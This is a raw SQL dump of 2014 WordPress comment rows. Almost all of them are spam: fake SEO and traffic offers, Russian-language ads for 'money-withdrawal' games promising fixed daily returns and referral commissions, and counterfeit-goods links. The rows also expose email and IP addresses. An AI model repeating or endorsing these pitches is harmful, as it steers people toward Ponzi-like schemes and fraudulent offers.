(67, 1, 'WilliamNam', 'larruopwes@gmail.com', 'http://proglebelebo.ru', '91.200.14.96', '2014-02-02 05:46:13', '2014-02-02 05:46:13', 'Oh my goodness! a tremendous article dude. Thanks Nevertheless I am experiencing situation with ur rss . Don’t know why Unable to subscribe to it. Is there anyone getting equivalent rss drawback? Anyone who knows kindly respond. Thnkx', 0, '0', 'Mozilla/5.0 (Windows NT 5.2; rv:12.0) Gecko/20100101 Firefox/12.0', '', 0, 0),
(68, 1, 'Gregory Despain', '381Mikelson@gmail.com', 'http://onblacocac.ru', '195.39.253.29', '2014-02-03 00:36:41', '2014-02-03 00:36:41', 'Between me and my husband we\'ve owned more MP3 players over the years than I can count, including Sansas, iRivers, iPods (classic &amp;amp; touch), the Ibiza Rhapsody, etc. But, the last few years I\'ve settled down to one line of players. Why? Because I was happy to discover how well-designed and fun to use the underappreciated (and widely mocked) Zunes are.', 0, '0', 'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; en) Opera 8.50', '', 0, 0),
(69, 1, 'WilliamNam', 'larruopwes@gmail.com', 'http://resdifisjuja.ru', '91.200.14.96', '2014-02-03 04:14:33', '2014-02-03 04:14:33', 'Spot on with this write-up, I actually suppose this website wants much more consideration. I’ll probably be again to read much more, thanks for that info.', 0, '0', 'Mozilla/5.0 (Windows NT 5.1; rv:16.0) Gecko/20100101 Firefox/16.0', '', 0, 0),
(70, 1, 'Donna', 'ukbzcrpp@gmail.com', 'http://ow.ly/sXRuL', '23.81.201.84', '2014-02-03 15:06:51', '2014-02-03 15:06:51', 'This is a comment to the webmaster. Your website is missing out on at least 300 visitors per day. I have found a company which offers to dramatically increase your visitors to your website: http://derPir.at/gm1 They offer 1,000 free visitors during their free trial period and I managed to get over 30,000 visitors per month using their services, you could also get lot more targeted traffic than you have now. Hope this helps :) Take care.', 0, '0', 'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) )', '', 0, 0),
(71, 1, 'Stacey', 'cjesrdijlhj@gmail.com', 'http://jtayl.org/qfm9', '23.81.201.75', '2014-02-05 06:11:28', '2014-02-05 06:11:28', 'This is a comment to the admin. Your website is missing out on at least 300 visitors per day. I have found a company which offers to dramatically increase your traffic to your site: http://jtayl.org/qfm9 They offer 1,000 free visitors during their free trial period and I managed to get over 30,000 visitors per month using their services, you could also get lot more targeted visitors than you have now. Hope this helps :) Take care.', 0, '0', 'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) ; .NET CLR 2.0.50727 ; .NET CLR 4.0.30319)', '', 0, 0),
(72, 1, 'DanNam', 'larruopwes@gmail.com', 'http://iphtamerira.ru', '91.200.14.96', '2014-02-05 06:43:13', '2014-02-05 06:43:13', 'I’m impressed, I have to say. Really not often do I encounter a weblog that’s both educative and entertaining, and let me tell you, you\'ve got hit the nail on the head. Your thought is excellent; the difficulty is one thing that not sufficient people are talking intelligently about. I am very happy that I stumbled throughout this in my seek for something relating to this.', 0, '0', 'Mozilla/5.0 (Windows NT 6.1; rv:17.0) Gecko/17.0 Firefox/17.0', '', 0, 0),
(73, 1, 'DanNam', 'larruopwes@gmail.com', 'http://iphtamerira.ru', '91.200.14.96', '2014-02-06 06:00:36', '2014-02-06 06:00:36', 'Can I simply say what a aid to find someone who actually is aware of what theyre talking about on the internet. You positively know easy methods to carry an issue to light and make it important. Extra people need to learn this and understand this facet of the story. I cant believe youre no more fashionable because you definitely have the gift.', 0, '0', 'Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.11 (KHTML, like Gecko) Chrome/23.0.1271.64 Safari/537.11', '', 0, 0),
(74, 1, 'preloaded vps', '*@gmail.com', 'http://www.webtrafficsoftware.info', '200.63.22.162', '2014-02-09 23:06:53', '2014-02-09 23:06:53', 'Want to learn more about SEO software? http://bit.ly/1hW8iRn', 0, '0', 'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) ; .NET CLR 2.0.50727 ; .NET CLR 4.0.30319)', '', 0, 0),
(75, 1, 'elenavoenkova', 'tarassafonov9@gmail.com', 'http://omsk.classclinic.ru/proktologiya/gemorroi', '134.249.53.142', '2014-02-14 11:46:41', '2014-02-14 11:46:41', '&lt;a href=\&quot;http://omsk.classclinic.ru/proktologiya/gemorroi\&quot; rel=\&quot;nofollow\&quot;&gt;геморрой&lt;/a&gt;', 0, '0', 'Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.1 (KHTML, like Gecko) Chrome/21.0.1180.89 Safari/537.1', '', 0, 0),
(76, 1, 'Jenny', 'nkxymwwlve@gmail.com', 'http://regisztralj.be/tj', '23.81.201.77', '2014-02-15 15:25:01', '2014-02-15 15:25:01', 'I discovered your page and noticed you could have a lot more traffic. I have found that the key to running a popular website is making sure the visitors you are getting are interested in your subject matter. There is a company that you can get visitors from and they let you try their service for free. I managed to get over 300 targeted visitors to day to my website. Visit them today: http://iam.at/1a3', 0, '0', 'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)', '', 0, 0),
(77, 1, 'Karen', 'uwloxwyly@gmail.com', 'http://go.pigmeu.net/6fX', '23.81.201.88', '2014-02-20 07:34:33', '2014-02-20 07:34:33', 'You need targeted traffic to your website so why not try some for free? There is a VERY POWERFUL and POPULAR company out there who now lets you try their website traffic service for 7 days free of charge. I am so glad they opened their traffic system back up to the public! Check it out here: http://go.pigmeu.net/6fX', 0, '0', 'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) ; .NET CLR 2.0.50727 ; .NET CLR 4.0.30319)', '', 0, 0),
(78, 1, 'katyakeupetman', 'efimrodin@gmail.com', 'http://gamenet.kz', '37.115.188.48', '2014-02-20 17:20:50', '2014-02-20 17:20:50', '&lt;a href=\&quot;http://bianco.kz\&quot; rel=\&quot;nofollow\&quot;&gt;Свадебные платья&lt;/a&gt;', 0, '0', 'Opera/9.80 (Windows NT 5.1) Presto/2.12.388 Version/12.10', '', 0, 0),
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(80, 1, 'Surveys', 'linda-lency1986@htomail.com', 'http://money-with-surveys.com/start.html', '178.137.162.244', '2014-02-23 13:13:27', '2014-02-23 13:13:27', 'Hi www.crosstrainingcenter.be admin, \r\nIf you want to make $20-$50/hour and up to $3000/month working at \r\nhome part-time then this is the most important message  you’re ever going to read... \r\n \r\nIt may sound hard to believe, but it\'s true.  There are thousands of companies out there who are willing to pay for your opinions regarding their products.  This is an important part of product research, and they rely on people just like you for your honest opinion! \r\n \r\nImagine getting paid for doing simple things like: \r\n \r\n- Take short surveys about new cars that are coming out soon \r\n- Give your opinion about new clothing and shoe designs \r\n- Trying out new menu items from popular restaurants \r\nBut here\'s a problem, it\'s very hard to find out best survey site and you probably can waste too much time, \r\nbut I just stumbled up  website http://money-with-surveys.com/start.html \r\nwhere they sorted the best paying survey site DB allowing single dad making $3000/month \r\n \r\nClick Here To read this amazing  story : \r\nhttp://money-with-surveys.com/start.html \r\n \r\n \r\nYour friend \r\nLinda', 0, '0', 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:17.0) Gecko/20100101 Firefox/17.0', '', 0, 0),
(81, 1, 'Susan', 'sqlyfns@gmail.com', 'http://regisztralj.be/tj', '23.81.201.92', '2014-02-25 02:53:59', '2014-02-25 02:53:59', 'I came to your page and noticed you could have a lot more hits. I have found that the key to running a popular website is making sure the visitors you are getting are interested in your subject matter. There is a company that you can get traffic from and they let you try their service for free. I managed to get over 300 targeted visitors to day to my site. Visit them today: http://monurl.ca/85kk', 0, '0', 'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) )', '', 0, 0),
(82, 1, 'Swayna', 'leszckbqlhk@gmail.com', 'http://ow.ly/sXRuL', '23.81.201.74', '2014-03-01 20:23:16', '2014-03-01 20:23:16', 'This is a message to the admin. Your website is missing out on at least 300 visitors per day. I have found a company which offers to dramatically increase your traffic to your site: http://regisztralj.be/tj They offer 1,000 free visitors during their free trial period and I managed to get over 30,000 visitors per month using their services, you could also get lot more targeted visitors than you have now. Hope this helps :) Take care.', 0, '0', 'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)', '', 0, 0);
INSERT INTO `www2_comments` (`comment_ID`, `comment_post_ID`, `comment_author`, `comment_author_email`, `comment_author_url`, `comment_author_IP`, `comment_date`, `comment_date_gmt`, `comment_content`, `comment_karma`, `comment_approved`, `comment_agent`, `comment_type`, `comment_parent`, `user_id`) VALUES
(83, 1, 'GoldenBlon', 'lazarevatyu@yandex.com', 'http://golden-birds.biz/', '95.28.255.143', '2014-03-07 16:31:53', '2014-03-07 16:31:53', 'Golden Birds - интеллектуально-ролевый онлайн симулятор с выводом денег. Зарабатывай на своих яйцах каждые 10 минут! \r\nРегистрация: http://golden-birds.biz/ \r\n \r\n1. Купите птиц, они будут нести вам яйца. \r\n2. Яйца будут накапливаться на складе, собирайте их. \r\n3. Продавайте яйца и получайте за них серебро. \r\n4. Обменивайте серебро на реальные деньги, либо покупайте больше птиц, чтобы они приносили вам еще больше прибыли! \r\n \r\nПримущества игры: \r\n1. Резервный фонд \r\n2. Окупаемость \r\n3. Выгодные условия \r\n4. Стабильность \r\n5. Круглосуточная поддержка \r\n6. Прозрачность системы \r\n \r\nТекущие акции: \r\nДо 12.03.2014 бонус при любом пополнении +200% \r\n2 синих птицы, при пополнении свыше 500 руб. \r\n1 красная птица, при пополнении свыше 1500 руб. \r\n \r\nЕжедневный бонус: \r\nСумма бонуса генерируется случайно от 10 до 100 серебра. \r\n \r\nПартнерская программа: \r\nПриглашайте в игру своих друзей и знакомых, Вы будете получать 30% от каждого пополнения баланса приглашенным Вами \r\nчеловеком. Доход ни чем не ограничен. Даже несколько приглашенных могут принести вам более 100 000 серебра. \r\n \r\nКонкурсы рефералов: \r\nКонкурс рефералов № 8 с общим призовым фондом 45000 руб. \r\n \r\nСтарт конкурса: 10.02.2014 в 18:58:07 \r\nЗавершение:     11.03.2014 в 18:58:02 \r\n \r\nПризовые места: \r\n1 - 30000 RUB \r\n2 - 10000 RUB \r\n3 - 5000 RUB \r\n \r\nЦены на птиц и их окупаемость: \r\nПтица----------------Стоимость------------Доход---------Окупаемость \r\nЗелёная----------------1 руб----------0,01 руб\\день--------59 дней \r\nЖёлтая----------------10 руб----------0,16 руб\\день--------59 дней \r\nКоричневая------------50 руб----------0,88 руб\\день--------56 дней \r\nСиняя----------------250 руб----------4,60 руб\\день--------54 дней \r\nКрасная-------------1000 руб---------23,16 руб\\день--------43 дней \r\n \r\nСтатистика проекта: \r\nВсего участников:    100081 \r\nНовых за 24 часа:    2021 \r\nВыплачено всего:     5041902.34 руб. \r\nРезерв проекта:      10990404.23 руб. \r\nПроекту пошел:       143 - й день \r\n \r\nигры с возможностью вывода денег отзывы \r\nигра шахта с выводом денег отзывы \r\nтоп игр с выводом денег отзывы \r\nпроверенные игры с выводом денег отзывы \r\nфермандия игра с выводом денег отзывы', 0, '0', 'Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.19 (KHTML, like Gecko) Chrome/25.0.1323.1 Safari/537.19', '', 0, 0),
(84, 1, 'PharaohsBlon', 'marysmirnofff@yandex.com', 'http://empire-pharaohs.com/', '128.72.120.170', '2014-03-10 01:21:28', '2014-03-10 01:21:28', 'Empire Of The Pharaohs - экономическия игра в реальном времени с выводом средств. \r\n \r\nДля тех кто играет в экономические игры и не только. Регистрация: http://empire-pharaohs.com/ \r\n \r\nВсем привет, рад представить Вам свежую экономическую игру с выводом средств \&quot;Империя Фараонов\&quot;. \r\nПлюсы: отсутствие платежных баллов. Вывод средств ничем не ограничен. Авто-выплаты на PAYEER. \r\n \r\nИмперия Фараонов - экономическия игра в реальном времени с выводом средств. Окунитесь в атмосферу древнего Египта, создайте собственную Империю Фараонов, которая будет давать Вам реальные деньги. \r\n \r\nВ этой ролевой игре Вам предоставляется управлять Империей Фараонов. Преобретайте рабов, ремесленников, воинов, жрецов и фараонов. Каждый персонаж вырабатывает определенную продукцию, которую можно обменять и выручить за нее золото. Чем он дороже, тем больше продукции он вырабатывает. \r\n \r\nЗолото можно продать на денежные средства и вывести из игры на свой электронный счет. Можно покупать безконечное количество персонажей. Все персонажи и их продукция не портятся и никуда не исчезают. Сбор продукции осуществляется без потерь и ограничений по срокам. Автоматический ввод в игру и вывод денег на Ваш счет. Маленькая минималка. \r\n \r\nМожно играть без вкладов. При регистрации мы отдаем всем Раба в подарок. Ежедневные бонусы, лотерея, конкурсы. Так же присутствует реферальная программа. Приглашайте в игру своих близких и знакомых. За каждое пополнение баланса партнерами, Вы будете получать 20% от суммы их пополнения. Ваша Империя будет приносить прибыль вечно. \r\n \r\nСтатистика проекта: \r\nВсего жителей:	          3580 чел. \r\nНовых за сутки:	          92 чел. \r\nПродали золота на:	  6922.34 RUB \r\nКупили золота на:         73119.44 RUB \r\nВозраст империи:	  37-й день \r\n \r\nЦены и расчет дохода: \r\nПерсонаж------------Стоимость---------Прибыль------Окупаемость \r\nРаб------------------30 руб--------0,24 руб.день------125 дней \r\nРемесленник----------150 руб-------1,44 руб.день------104 дней \r\nВоин-----------------300 руб-------3,60 руб.день-------83 дней \r\nЖрец-----------------600 руб-------8,64 руб.день-------69 дней \r\nФараон--------------1200 руб-------19,44 руб.день------61 дней \r\n \r\nНе однократно уже получены выплаты. Всех кого заинтересовало мое письмо, могут зарегистрироваться на проекте \r\nи посмотреть все своими глазами, а при желании, начать играть. Всем приятной игры и хорошего настроения. \r\n \r\nинтернет игры с выводом денег отзывы \r\nлучшая игра с выводом денег отзывы \r\nигра бобер с выводом денег отзывы \r\nигра бобры с выводом денег отзывы \r\ngarden игра с выводом денег отзывы', 0, '0', 'Opera/9.80 (Windows NT 5.1; Edition Ukraine Local) Presto/2.12.388 Version/12.10', '', 0, 0),
(85, 1, 'seo vps', '*@gmail.com', 'http://www.webtrafficsoftware.info', '87.238.209.234', '2014-03-11 10:50:37', '2014-03-11 10:50:37', 'Want to rank your website? http://www.webtrafficsoftware.info', 0, '0', 'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) )', '', 0, 0),
(86, 1, 'Pauline', 'tgrcshvdxl@gmail.com', 'http://tiny6.com/ldia', '23.81.201.92', '2014-03-12 03:01:30', '2014-03-12 03:01:30', 'We have decided to open our POWERFUL and PRIVATE website traffic system to the public for a limited time! You can sign up for our UP SCALE network with a free trial as we get started with the public\'s orders. Imagine how your bank account will look when your website gets the traffic it deserves. Visit us today: http://pay4by.cc/rnwh', 0, '0', 'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) ; .NET CLR 1.0.3705)', '', 0, 0),
(87, 1, 'ZogNam', '343ewcf3pdes@gmail.com', 'http://xxioeoieejjwbb1w.com', '91.200.14.96', '2014-03-13 08:52:09', '2014-03-13 08:52:09', '?I used to be more than happy to search out this internet-site.I needed to thanks on your time for this wonderful learn!! I definitely having fun with every little little bit of it and I\'ve you bookmarked to check out new stuff you weblog post.', 0, '0', 'Opera/9.80 (Windows NT 6.1; Edition Yx) Presto/2.12.388 Version/12.11', '', 0, 0),
(88, 1, 'extreme traffic', 'linda-fericsen@hotmail.com', 'http://extreme-seo-traffic.com', '178.137.92.70', '2014-03-19 09:01:51', '2014-03-19 09:01:51', 'hi www.crosstrainingcenter.be owner discovered your site via search engine but it was hard to find and I see you could have more visitors because there are not so many comments yet. I have discovered website which offer dramatically increase laser targeted traffic from search engines to your site http://extreme-seo-traffic.com they claim they managed to get close to 4000 visitors/day using their services you could also get lot more targeted traffic from search engines as you have now. I used their services and got significantly more visitors to my website. Hope this helps :) They offer most cost effective services to increase website traffic at this website http://extreme-seo-traffic.com \r\nTo your success your friend \r\nLinda', 0, '0', 'Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/33.0.1750.117 Safari/537.36 OPR/20.0.1387.64', '', 0, 0),
(89, 1, 'extreme traffic', 'sophia.allen89@hotmail.com', 'http://massive-auto-traffic.com', '46.118.116.0', '2014-04-01 09:17:58', '2014-04-01 09:17:58', 'After getting more than 10000 visitors/day to my website I thought your www.crosstrainingcenter.be website also need  unstoppable flow of traffic... \r\n \r\nUse this BRAND NEW software and get all the traffic for your website you will ever need ... \r\n \r\n= = &amp;gt; &amp;gt; http://massive-auto-traffic.com \r\n \r\nIn testing phase it generated 867,981 visitors and $540,340. \r\n \r\nThen another $86,299.13 in 90 days to be exact. That\'s $958.88 a \r\nday!! \r\n \r\nAnd all it took was 10 minutes to set up and run. \r\n \r\nBut how does it work?? \r\n \r\nYou just configure the system, click the mouse button a few \r\ntimes, activate the software, copy and paste a few links and \r\nyou\'re done!! \r\n \r\nClick the link BELOW as you\'re about to witness a software that \r\ncould be a MAJOR turning point to your success. \r\n \r\n= = &amp;gt; &amp;gt; http://massive-auto-traffic.com \r\nBest regards \r\nYour friend \r\nSophia', 0, '0', 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:26.0) Gecko/20100101 Firefox/26.0', '', 0, 0),
(90, 1, 'Jennifer', 'lwazhmsr@gmail.com', 'http://abrevia.retialis.net/158g', '23.81.201.89', '2014-04-03 05:51:35', '2014-04-03 05:51:35', 'Are you tired of your site not giving you the traffic you hoped it would like I once was? If so I am spreading the word about my recent experience with an SEO service that has taken my website to the next level! Their SEO package is a must-have for websites of any age and the best part is that their work is Penguin and Panda proof. I wasn\'t sure at first but since they offer a seven day free trial I signed up. Now my site is on the first page of Google and getting a lot of search engine traffic! Visit them today: http://url.sorgol.com/3s', 0, '0', 'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) )', '', 0, 0),
(91, 1, 'Jennifer', 'awqextezxwe@gmail.com', 'http://bsand.in/-gi5i', '23.81.201.74', '2014-04-04 20:40:56', '2014-04-04 20:40:56', 'In the competitive market of Google results owning and maintaining a website can be difficult and time consuming. As webmasters we all could use more visitors and increased Google rankings, but we must also be wary of the penguin and panda updates that Google has recently introduced. Luckily I have found an SEO service that is penquin and panda proof, that is will not incur penalties based on the new algorithm updates. They also offer a seven day free trial to try the product out and I saw a dramatic increase in my traffic once I signed up. In fact I am so happy with their service I am spreading the word to all of the webistes I visit frequently. Check them out here: http://bsand.in/-gi5i', 0, '0', 'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) )', '', 0, 0),
(92, 1, 'Moiffitagoaro', 'tmsnewtmsnew@gmail.com', 'http://kpdstroy.ru/bolars-kley-plitochnyy/', '94.127.144.225', '2014-04-06 11:16:57', '2014-04-06 11:16:57', '&lt;a href=\&quot;http://kpdstroy.ru/bolars-kley-plitochnyy/\&quot; / rel=\&quot;nofollow\&quot;&gt; \r\nhttp://s017.radikal.ru/i416/1310/55/4cdd574b932d.jpg \r\nhttp://s017.radikal.ru/i443/1310/be/5d33f485a4b8.jpg&lt;/a&gt; \r\n \r\nTegs: штукатурка боларс короед  боларс клей плиточный метро бульвар дмитрия донского  &lt;b&gt;боларс финишная super&lt;/b&gt;. \r\n \r\nболарс двери входные  боларс клей плиточный район свиблово  \r\n&lt;i&gt;боларс стяжка основа бт  боларс клей плиточный район северный &lt;/i&gt; \r\n&lt;b&gt;боларс structure 0 5  боларс клей плиточный юзао &lt;/b&gt; \r\n&lt;a href=\&quot;http://kpdstroy.ru/bolars-kley-plitochnyy/\&quot; / rel=\&quot;nofollow\&quot;&gt;боларс клей плиточный район ново-переделкино &lt;/a&gt;', 0, '0', 'Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/30.0.1599.13014 YaBrowser/13.12.1599.13014 Safari/537.36', '', 0, 0),
(93, 1, 'FishSn', 'galaluda@yandex.com', 'http://fish-empire.net/', '95.25.1.39', '2014-04-06 17:33:07', '2014-04-06 17:33:07', 'FISH-EMPIRE.NET - игра рпг с выводом денег. Запуск игры 31.03.2014. \r\n \r\nДля ознакомления кликните по ссылке: http://fish-empire.net/ \r\n \r\nНаши Особенности: Свободная статистика - Вы всегда будете знать о текущем состоянии золота в игре. В системе не содержится никаких запретов для обмена золота. \r\n \r\nВыгодные условия - возможность во много раз приумножить свои вклады. Мы обещаем от 30% до 100% ежемесячно. \r\n \r\nРост капитала проекта - за счет влива средств на рекламу и привлечения в игру новых участников - пользователями, работающих по партнерской програме. Быстрая поддержка на приветном форуме. Уникальная среда и ещё разнообразие других плюсов. \r\n \r\nО проекте: FISH-EMPIRE.NET - игра рпг с выводом денег. Погрузитесь в среду экономической онлайн игры и создайте свою Рыбную Империю, которая всегда будет приносить Вам настоящие деньги. \r\n \r\nВ данной игре Вам нужно приобретать всяких рыб. Каждая рыба дает икру, которую можно продать на золото. Золото можно выручить за настоящие средства и снять из проекта на свои электронные счета. \r\n \r\nВсе рыбы производят определенное количество икры, чем они больше стоят, тем икры производят больше. Вы можете преобретать любое их количество, у рыб нет срока годности, они никуда не исчезнут и будут давать Вам икру стабильно. Сбор икры осуществляется без потерь и препятствий по времени. \r\n \r\nНачинай Игру: Начать играть можно без затрат. При регистрации мы дарим Всем Щуку. Каждый день бонусы, лотерея, конкурсы, акции. Так же существует партнерская програма. Призывайте в игру своих друзей и близких. \r\n \r\nЗа каждое пополнение баланса партнерами, Вы будете иметь 30% от суммы их инвестиций. Авто -  ввод в игру и вывод средств на Ваш электронный счет. Низкая минималка на Payeer, всего 3 RUB. Ваша Рыбная Империя будет давать средства каждый день. \r\n \r\nКурс игрового инвентаря: 100 гр. икры = 1 гр. золота. 100 гр. золота = 1 RUB. \r\n \r\nРыбы-------------------Стоимость----------------Доход в день-----------Окупаемость \r\nЩука--------------------90 RUB--------------------1 RUB--------------------90 дней \r\nМинтай-----------------270 RUB------------------3,6 RUB--------------------75 дней \r\nЛосось-----------------810 RUB------------------13,5 RUB-------------------60 дней \r\nОсетр------------------2430 RUB-----------------54 RUB---------------------45 дней \r\nБелуга-----------------7290 RUB-----------------243 RUB--------------------30 дней', 0, '0', 'Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/32.0.1700.76 Safari/537.36', '', 0, 0),
(94, 1, 'Abby', 'cindcisamt@gmail.com', 'http://jasonchua.me/qcnaz', '23.81.201.82', '2014-04-06 23:09:20', '2014-04-06 23:09:20', 'Are you tired of your site not giving you the results you hoped it would like I once was? If so I am spreading the word about my recent experience with an SEO company that has taken my business to the next level! Their SEO service is a must-have for websites of any age and the best part is that their work is Penguin and Panda proof. I was skeptical at first but since they offer a seven day free trial I tried it. Now my site is on the first page of Google and getting tons of search engine traffic! Visit them today: http://url.sorgol.com/3s', 0, '0', 'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)', '', 0, 0),
(95, 1, 'Abby', 'nepvtq@gmail.com', 'http://s-url.me/c30', '23.81.201.90', '2014-04-09 08:50:36', '2014-04-09 08:50:36', 'Hello web admin, I finally found your website after going through many different pages of search results on Google. I am sure you do not get a lot of organic search traffic as you are not on the the first page of search results. I found a company that can fix your search traffic problem and get your website to the first page:http://url.sorgol.com/3s As you know, organic search traffic is the most valuable and targeted traffic on the internet and I am getting close to 1,000 visitors per day using their service and that is why I am recommending them to you. I wish you success in the future with your website!', 0, '0', 'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) ; .NET CLR 2.0.50727 ; .NET CLR 4.0.30319)', '', 0, 0),
(96, 1, 'john', 'john@hotmail.com', 'http://www.QS3PE5ZGdxC9IoVKTAPT2DBYpPkMKqfz.com', '62.210.142.7', '2014-04-09 23:49:11', '2014-04-09 23:49:11', 'TvRAfb http://www.QS3PE5ZGdxC9IoVKTAPT2DBYpPkMKqfz.com', 0, '0', 'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)', '', 0, 0),
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(108, 1, 'nuikoyhjq', 'herdarbb@hotmail.com', '', '120.37.208.146', '2014-08-04 15:10:28', '2014-08-04 15:10:28', '@@@ \r\nMore contentious is the subject of dilution. Now, for those who insist on using lump or granulated sugar, a dash of water is essential 鈥?you\'ll never dissolve it in alcohol alone. But if you\'re using syrup, it is unnecessary, particularly if you\'re muddling orange in there too, which will provide its own dilution (I firmly believe a splash of water brings out the flavour of most alcohols). Worst of all, however, are the recipes, such as Schumann\'s, &lt;a href=\&quot;http://www.juicemarket.info/welcome.aspx\&quot; rel=\&quot;nofollow\&quot;&gt;True Religion Outlet Online&lt;/a&gt; that top up the glass with soda or still water (which may also be the only sin ), killing its potent, boozy charms stone dead. DeGroff lists water or soda as optional extras, cautioning the reader to \&quot;be careful not to drown the drink\&quot;. The best way to avoid that danger, in my opinion, is not to start down that road in the first place; if you want a long drink, have one.Ice, however, which Doudoroff lists &lt;a href=\&quot;http://www.styledepth.com/images/Login.asp\&quot; rel=\&quot;nofollow\&quot;&gt;True Religion Jeans For Men&lt;/a&gt; as optional because of its similarly, if slower, diluting qualities, is a must 鈥?as the temperature of the drink drops, its sweetness comes to the fore. If you have one of those giant &lt;a href=\&quot;http://janewenham-jones.com/fitflop-outlet.asp\&quot; rel=\&quot;nofollow\&quot;&gt;Fitflop Sale&lt;/a&gt; ice-cube moulds to impede the melting process, so much the better.GarnishA slice of orange and an extra cherry will make the drink look pretty, but I don\'t think it needs lemon, pineapple or any of the other garnishes that became popular in the drink\'s Draper-era dark days. This is a cocktail, as Victoria Moore observes, that should be drunk \&quot;with gravitas\&quot;.The perfect old fashioned \r\n \r\nFor the sugar syrup (makes lots of syrup, but keeps almost indefinitely):100g brown sugar 100ml waterFor each drink:Bitters of your choice2 slices of orange2 maraschino cherries60ml bourbonIcePut the sugar and water in a small pan and bring to the boil, stirring to dissolve the sugar. Decant into a jar or bottle and allow to cool.Put a splash of syrup in a small rocks glass and add a &lt;a href=\&quot;http://janewenham-jones.com/beats-by-dre-studio.html\&quot; rel=\&quot;nofollow\&quot;&gt;Beats By Dr Dre&lt;/a&gt; couple of dashes of bitters. Put in a slice of orange and a cherry, then muddle against the bottom of the glass until the fruit is thoroughly mushed. Remove the orange and any big bits of cherry skin.Pour in the bourbon and stir well. Taste and add more syrup or bitters if you feel it lacking. Add ice in quantity, then garnish with the remaining fruit. Serve immediately and drink slowly.The old fashioned: are simple drinks always &lt;a href=\&quot;http://janewenham-jones.com/mybooks.php\&quot; rel=\&quot;nofollow\&quot;&gt;Kate Spade Sale&lt;/a&gt; best? Is a maraschino cherry sacrilege? And what\'s your default choice at the bar?', 0, '0', 'Mozilla/5.0 (Windows NT 6.1; rv:27.0) Gecko/20100101 Firefox/27.0', '', 0, 0),
(109, 1, 'Соломон', 'dobrovvtsevdobrovvts@gmail.com', '', '94.153.9.222', '2014-08-31 12:24:51', '2014-08-31 12:24:51', 'Признаюсь честно, как все-таки я  я вас понимаю, насколько это все знакомо. \r\n \r\nВ недалеком прошлом я находился в такой досданой ситуации . \r\nЯ очень терпел адские боли. У меня чаще всего болела нога. Я  попробовал решить проблему без привлечения сторонних специалистов. Но позитивного влияния не стало.  Один мой  товарищ посоветовал  прекрасную  вещь. Я сам перед этим не задумывался о таком. Но  на данный момент я в курсе и не капли не жалею. \r\nМне  дали наводку приобрести массажное кресло . \r\nВ данную минуту я наверное самый  беззаботный человек  в нашем регионе. \r\n  У меня больше нет проблемы которые  меня пытали. Я как будто появился на свет заново . \r\nЧто самое замечательное  во всем этом, это то что я не отрываясь от работы \r\nмогу самостоятельно получать relax после которого уходят все боли. \r\nЕсли тебе интересно ,  ниже  поставил  линк на модель которую я  заказывал  себе. \r\nhttp://www.slims.ru/kreslo-massazhnoe/us_medica/621966/  \r\n \r\n \r\nhttp://img32.ru/uploads/13344167342513410.jpg \r\n \r\nhttp://img32.ru/uploads/17737217612048062.jpg \r\n \r\nhttp://img32.ru/uploads/70738887215445913.jpg \r\n \r\nhttp://img32.ru/uploads/31787769750415378.jpg \r\n \r\nВ общем здесь очень большой выбор кресел, возможно ты найдешь другую модель  лично под себя \r\nУспехов в лечение. Береги свое время и нервы', 0, '0', 'Opera/9.80 (Windows NT 6.1; Win64; x64) Presto/2.12.388 Version/12.16', '', 0, 0),
